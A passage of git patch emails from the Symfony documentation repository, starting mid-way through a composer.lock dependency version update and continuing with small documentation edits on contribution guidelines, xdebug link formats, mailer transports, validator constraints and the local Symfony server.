-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
+                "reference": "21032c566558255e551d23f4a516434c9e3a9a78"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/21032c566558255e551d23f4a516434c9e3a9a78",
+                "reference": "21032c566558255e551d23f4a516434c9e3a9a78",
                 "shasum": ""
             },
             "require": {
@@ -882,11 +868,6 @@
                 "symfony/css-selector": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\DomCrawler\\": ""
@@ -909,10 +890,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony DomCrawler Component",
+            "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
+                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -928,20 +909,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
+                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/83a6feed14846d2d9f3916adbaf838819e4e3380",
+                "reference": "83a6feed14846d2d9f3916adbaf838819e4e3380",
                 "shasum": ""
             },
             "require": {
@@ -949,11 +930,6 @@
                 "symfony/polyfill-ctype": "~1.8"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Filesystem\\": ""
@@ -976,10 +952,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Filesystem Component",
+            "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
+                "source": "https://github.com/symfony/filesystem/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -995,31 +971,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-27T13:54:16+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
+                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
+                "reference": "25d79cfccfc12e84e7a63a248c3f0720fdd92db6",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.1.3"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Finder\\": ""
@@ -1042,10 +1013,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Finder Component",
+            "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.15"
+                "source": "https://github.com/symfony/finder/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1061,20 +1032,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.15",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
+                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/d8df50fe9229576b254c6822eb5cfff36c02c967",
+                "reference": "d8df50fe9229576b254c6822eb5cfff36c02c967",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1062,7 @@
                 "symfony/http-client-implementation": "1.1"
             },
             "require-dev": {
-                "guzzlehttp/promises": "^1.3.1",
+                "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
@@ -1100,11 +1071,6 @@
                 "symfony/process": "^4.2|^5.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\HttpClient\\": ""
@@ -1127,10 +1093,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony HttpClient component",
+            "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
+                "source": "https://github.com/symfony/http-client/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1146,7 +1112,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T13:41:48+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -1229,16 +1195,16 @@
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
+                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/c6c942b1ac76c82448322025e084cadc56048b4e",
+                "reference": "c6c942b1ac76c82448322025e084cadc56048b4e",
                 "shasum": ""
             },
             "require": {
@@ -1250,7 +1216,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1288,7 +1254,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1304,20 +1270,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-intl-idn",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
+                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/2d63434d922daf7da8dd863e7907e67ee3031483",
+                "reference": "2d63434d922daf7da8dd863e7907e67ee3031483",
                 "shasum": ""
             },
             "require": {
@@ -1331,7 +1297,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1375,7 +1341,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1391,20 +1357,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "727d1096295d807c309fb01a851577302394c897"
+                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/727d1096295d807c309fb01a851577302394c897",
-                "reference": "727d1096295d807c309fb01a851577302394c897",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/43a0283138253ed1d48d352ab6d0bdb3f809f248",
+                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248",
                 "shasum": ""
             },
             "require": {
@@ -1416,7 +1382,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1459,7 +1425,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1475,20 +1441,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531"
+                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531",
-                "reference": "39d483bdf39be819deabf04ec872eb0b2410b531",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/5232de97ee3b75b0360528dae24e73db49566ab1",
+                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1",
                 "shasum": ""
             },
             "require": {
@@ -1500,7 +1466,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1539,7 +1505,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1555,20 +1521,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-22T09:19:47+00:00"
         },
         {
             "name": "symfony/polyfill-php72",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php72.git",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930"
+                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930",
-                "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
+                "reference": "cc6e6f9b39fe8075b3dabfbaf5b5f645ae1340c9",
                 "shasum": ""
             },
             "require": {
@@ -1577,7 +1543,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1615,7 +1581,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1631,20 +1597,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed"
+                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/8ff431c517be11c78c48a39a66d37431e26a6bed",
-                "reference": "8ff431c517be11c78c48a39a66d37431e26a6bed",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
+                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1619,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1694,7 +1660,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1710,20 +1676,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.20.0",
+            "version": "v1.22.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de"
+                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
-                "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dc3063ba22c2a1fd2f45ed856374d79114998f91",
+                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91",
                 "shasum": ""
             },
             "require": {
@@ -1732,7 +1698,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.22-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1777,7 +1743,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.22.1"
             },
             "funding": [
                 {
@@ -1793,27 +1759,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-01-07T16:49:33+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "5.x-dev",
+            "version": "v4.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660"
+                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/88d47196a2fe06db8f90f0c2a986651e91ee3660",
-                "reference": "88d47196a2fe06db8f90f0c2a986651e91ee3660",
+                "url": "https://api.github.com/repos/symfony/process/zipball/7e950b6366d4da90292c2e7fa820b3c1842b965a",
+                "reference": "7e950b6366d4da90292c2e7fa820b3c1842b965a",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "php": ">=7.1.3"
             },
-            "default-branch": true,
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -1837,10 +1801,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Process Component",
+            "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/5.x"
+                "source": "https://github.com/symfony/process/tree/v4.4.19"
             },
             "funding": [
                 {
@@ -1856,7 +1820,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-24T12:08:07+00:00"
+            "time": "2021-01-27T09:09:26+00:00"
         },
         {
             "name": "symfony/service-contracts",
@@ -1939,16 +1903,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.0",
+            "version": "v2.14.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0"
+                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/d495243dade48c39b6a5261c26cdbd8c5703f6a0",
-                "reference": "d495243dade48c39b6a5261c26cdbd8c5703f6a0",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8bc568d460d88b25c00c046256ec14a787ea60d9",
+                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9",
                 "shasum": ""
             },
             "require": {
@@ -2002,7 +1966,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.0"
+                "source": "https://github.com/twigphp/Twig/tree/v2.14.3"
             },
             "funding": [
                 {
@@ -2014,16 +1978,13 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-21T12:35:06+00:00"
+            "time": "2021-01-05T15:34:33+00:00"
         }
     ],
     "packages-dev": [],
     "aliases": [],
     "minimum-stability": "dev",
-    "stability-flags": {
-        "symfony/docs-builder": 20,
-        "symfony/process": 20
-    },
+    "stability-flags": [],
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {

From f68b17f307b6c614d39917e4fc9f5a17c803ae03 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 15:23:59 +0100
Subject: [PATCH 0546/5766] Remove comment about PR draft status

---
 contributing/code/pull_requests.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1cb0da6dddc..58a6004ca14 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -370,8 +370,7 @@ because you want early feedback on your work, add an item to todo-list:
     - [ ] gather feedback for my changes
 
 As long as you have items in the todo-list, please prefix the pull request
-title with "[WIP]". If you do not yet want to trigger the automated tests,
-you can also set the PR to `draft status`_.
+title with "[WIP]".
 
 In the pull request description, give as much detail as possible about your
 changes (don't hesitate to give code examples to illustrate your points). If
@@ -436,4 +435,3 @@ before merging.
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
-.. _`draft status`: https://help.github.com/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests

From 33794481aea1a41001d514c33ca1f24f9e214d81 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 17:52:43 +0100
Subject: [PATCH 0547/5766] Show example how to set xdebug.file_link_format

---
 reference/configuration/framework.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4515077d1d7..246726e820c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -415,7 +415,13 @@ Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
 ``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
 format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them.
+need to escape the percent signs (``%``) by doubling them::
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for Sublime
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
 
 .. note::
 

From 1859757418b7731cecc099fa9518e32008623370 Mon Sep 17 00:00:00 2001
From: Pierre Boissinot <pierre.boissinot@lephare.com>
Date: Wed, 24 Feb 2021 21:45:59 +0100
Subject: [PATCH 0548/5766] doc(mailer): add Sendinblue to transports
 supporting tags and metadata

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index ea83e0a4f46..08a10c59e03 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1209,6 +1209,7 @@ The following transports currently support tags and metadata:
 * Postmark
 * Mailgun
 * MailChimp
+* Sendinblue
 
 Development & Debugging
 -----------------------

From 69f9db34df0fa0c54aea8f6a3d72a1490ab4cb75 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 24 Feb 2021 21:39:22 +0100
Subject: [PATCH 0549/5766] [Validator] Mention IsNull in Basic Constraints

---
 reference/constraints/IsFalse.rst                    | 2 ++
 reference/constraints/IsTrue.rst                     | 2 ++
 reference/constraints/Type.rst                       | 2 ++
 reference/constraints/_null-values-are-valid.rst.inc | 6 ++++++
 4 files changed, 12 insertions(+)
 create mode 100644 reference/constraints/_null-values-are-valid.rst.inc

diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 5b2597d8657..63f1364024c 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -107,6 +107,8 @@ method returns **false**:
             // ...
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d9d53b04f82..aa172153e9f 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -111,6 +111,8 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 If the ``isTokenValid()`` returns false, the validation will fail.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 103ea9fd43c..307b7565749 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -148,6 +148,8 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
     The feature to define multiple types in the ``type`` option was introduced
     in Symfony 4.4.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/_null-values-are-valid.rst.inc b/reference/constraints/_null-values-are-valid.rst.inc
new file mode 100644
index 00000000000..49b6a54faad
--- /dev/null
+++ b/reference/constraints/_null-values-are-valid.rst.inc
@@ -0,0 +1,6 @@
+.. note::
+
+    As with most of the other constraints, ``null`` is
+    considered a valid value. This is to allow the use of optional values.
+    If the value is mandatory, a common solution is to combine this constraint
+    with :doc:`NotNull </reference/constraints/NotNull>`.

From 795dcb7172dbc716df7029abc0651a9581dc66c9 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 15:43:10 +0100
Subject: [PATCH 0550/5766] Updated contribution guide with "Automated
 Feedback"

---
 contributing/code/pull_requests.rst | 32 +++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 58a6004ca14..d1f06f8db76 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -399,6 +399,36 @@ The :doc:`core team </contributing/code/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
+Automated Feedback
+~~~~~~~~~~~~~~~~~~
+
+There are many automated scripts that will provide feedback on a pull request.
+
+fabbot
+""""""
+
+`fabbot`_ will review code style, check for common typos and make sure the git
+history looks good. If there are any issues, fabbot will often suggest what changes
+that should be done. Most of the time you get a command to run to automatically
+fix the changes.
+
+It is rare, but fabbot could be wrong. One should verify if the suggested changes
+make sense and that they are related to the pull request.
+
+Psalm
+"""""
+
+`Psalm`_ will make a comment on a pull request if it discovers any potential
+type errors. The Psalm errors are not always correct, but each should be reviewed
+and discussed. A pull request should not update the Psalm baseline nor add ``@psalm-``
+annotations.
+
+After the `Psalm phar is installed`_, the analysis can be run locally with:
+
+.. code-block:: terminal
+
+    $ psalm.phar src/Symfony/Component/Workflow
+
 .. _rework-your-patch:
 
 Rework your Pull Request
@@ -430,8 +460,10 @@ before merging.
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
+.. _`Psalm`: https://psalm.dev/
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
+.. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/

From 79661cca1f63b7a0092fc44cf5863fd1d4147e75 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 26 Feb 2021 10:37:34 +0100
Subject: [PATCH 0551/5766] Make the doc clearer

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index bd3a6718664..b9e1ef9d2ef 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -64,8 +64,8 @@ Enabling PHP-FPM
 
     PHP-FPM must be installed locally for the Symfony server to utilize.
 
-When the server starts it will check for common patterns like ``web/app.php``,
-``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
+When the server starts, it checks for ``web/index_dev.php``, ``web/index.php``,
+``public/app_dev.php``, ``public/app.php`` in that order. If one is found, the
 server will automatically start with PHP-FPM enabled. Otherwise the server will
 start without PHP-FPM and will show a ``Page not found`` page when trying to
 access a ``.php`` file in the browser.

From 962e0875f7e8a5422580899e5952bd010e896d09 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 26 Feb 2021 11:12:46 +0100
Subject: [PATCH 0552/5766] Make the explanation about how Docker services are
 detected (hopefully) clearer

---
 setup/symfony_server.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index bd3a6718664..9784bd57e24 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -282,8 +282,11 @@ The local Symfony server provides full `Docker`_ integration for projects that
 use it.
 
 When the web server detects that Docker Compose is running for the project, it
-automatically exposes environment variables according to the exposed port and
-the name of the ``docker-compose`` services.
+automatically exposes some environment variables.
+
+Via the ``docker-compose`` API, it looks for exposed ports used for common
+services. When it detects one it knows about, it uses the service name to
+expose environment variables.
 
 Consider the following configuration:
 

From 00fbbdcbb31cbddd0e5a57ff586a6df29cd6469a Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 26 Feb 2021 21:25:49 +0100
Subject: [PATCH 0553/5766] Unique validator: Better description for the value
 placeholder

---
 reference/constraints/Unique.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..e6acb08ea71 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -107,7 +107,7 @@ You can use the following parameters in this message:
 =============================  ================================================
 Parameter                      Description
 =============================  ================================================
-``{{ value }}``                The repeated value
+``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From e3328a46d4f8b03f9a4a9f6fbbf9b2ba33554518 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 21:51:40 +0100
Subject: [PATCH 0554/5766] [Encore] Deploying to a CDN subdirectory

---
